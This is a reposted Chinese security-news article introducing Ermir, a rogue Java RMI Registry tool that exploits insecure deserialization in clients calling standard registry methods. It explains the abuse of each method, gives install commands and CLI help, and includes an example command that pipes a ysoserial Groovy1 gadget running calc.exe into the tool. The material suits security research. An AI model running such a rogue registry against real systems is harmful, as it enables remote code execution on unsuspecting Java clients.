如何使用Ermir研究Java RMI Registry安全
2022-11-13 09:38:52 Author: FreeBuf(查看原文) 阅读量:11 收藏

 关于Ermir 

Ermir是一款功能强大的Java RMI Registry安全研究工具,该工具可以利用那些调用了标准RMI方法的Java代码中的不安全反序列化操作。

 工具运行机制 

java.rmi.registry.Registry提供了五种方法:list()、lookup()、bind()、rebind()、unbind()。

public Remote lookup(String name)

lookup()方法会搜索Registry中的一个绑定对象,并返回一个远程对象,返回的对象使用MarshalInputStream.readObject()方法读取。Ermir可以使用gadgetmarshal来序列化指定的对象来满足MarshalInputStream的要求:

public String[] list()

list()方法会要求Registry提供所有绑定对象的名称,而String类型不能用恶意gadget替代,因为它不是普通对象,它不是使用readObject()读取的,而是使用readUTF()读取。但是,由于list()会返回String[],而它就是一个实际的对象,并会使用readObject()读取,因此Ermir可以直接发送gadget来代替String[]类型:

public void bind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2)

bind()方法用于绑定Registry中的一个对象,返回类型为void,ruguo Registry在RMI返回数据包中指定需要返回一个Exception,那么客户端/服务器将会调用readObject()方法,此时Ermir将会发送一个序列化gadget而不是合法的Exception对象:

public void rebind(java.lang.String $param_String_1, java.rmi.Remote $param_Remote_2)

rebind()方法可以使用提供的远程引用替换当前绑定的对象,并返回void,而Ermir将返回一个Exception;

public void unbind(java.lang.String $param_String_1)

unbind()方法可以通过名称解绑RMI Registry中的一个远程对象,并返回void;

 工具要求 

Ruby v3或更新版本

 工具安装 

我们可以直接通过rubygems.org来下载和安装Ermir:

$ gem install ermir

或者使用下列命令将该项目源码克隆至本地,并完成工具构建:

$ git clone https://github.com/hakivvi/ermir.git$ rake install

向右滑动、查看更多

 工具使用 

Ermir是一个CLI gem,其中包含两个cli文件,即ermir和gadgetmarshal。ermir是实际的gem,而后者则是GadgetMarshaller.java文件的一个接口,它可以重写Ysoserial的gadget并匹配MarshalInputStream的要求,输出结果需要发送至ermir或一个文件,以防止自定义gadget使用MarshalOutputStream将你的序列化对象写入到输出流中。

ermir使用

➜  ~ ermir
Ermir by @hakivvi * https://github.com/hakivvi/ermir.
Info:
Ermir is a Rogue/Evil RMI Registry which exploits unsecure Java deserialization on any Java code calling standard RMI methods on it.
Usage: ermir [options]
-l, --listen 将RMI Registry绑定到一个IP和端口,默认为0.0.0.0:1099
-f, --file 包含需要反序列化目标gadget的文件路径
-p, --pipe 从标准输入流中读取序列化gadget
-v, --version 输出Ermir版本信息
-h, --help 打印工具帮助选项
Example:
$ gadgetmarshal /path/to/ysoserial.jar Groovy1 calc.exe | ermir --listen 127.0.0.1:1099 --pipe

向右滑动、查看更多

gadgetmarshal使用

➜  ~ gadgetmarshalUsage: gadgetmarshal /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file

(向右滑动、查看更多)

 工具使用演示 

链接:
https://image.3001.net/images/20221102/1667320402_63614a52c79d5f10a4c42.gif

 许可证协议 

本项目的开发与发布遵循MIT开源许可证协议。 

 项目地址 

Ermirhttps://github.com/hakivvi/ermir

参考资料:

https://github.com/hakivvi/ermir/blob/main/helpers/gadgetmarshaller/GadgetMarshaller.java
https://github.com/frohoff/ysoserial
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/registry/RegistryImpl_Stub.java#l127
https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/enhancements-7.html

精彩推荐


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651203238&idx=4&sn=3687331e2642844794623c071f3dff28&chksm=bd1db42d8a6a3d3b3ed0ff098b23759b205432279f50f1f4d5cb827f735a1708e945a116fd34#rd
如有侵权请联系:admin#unsafe.sh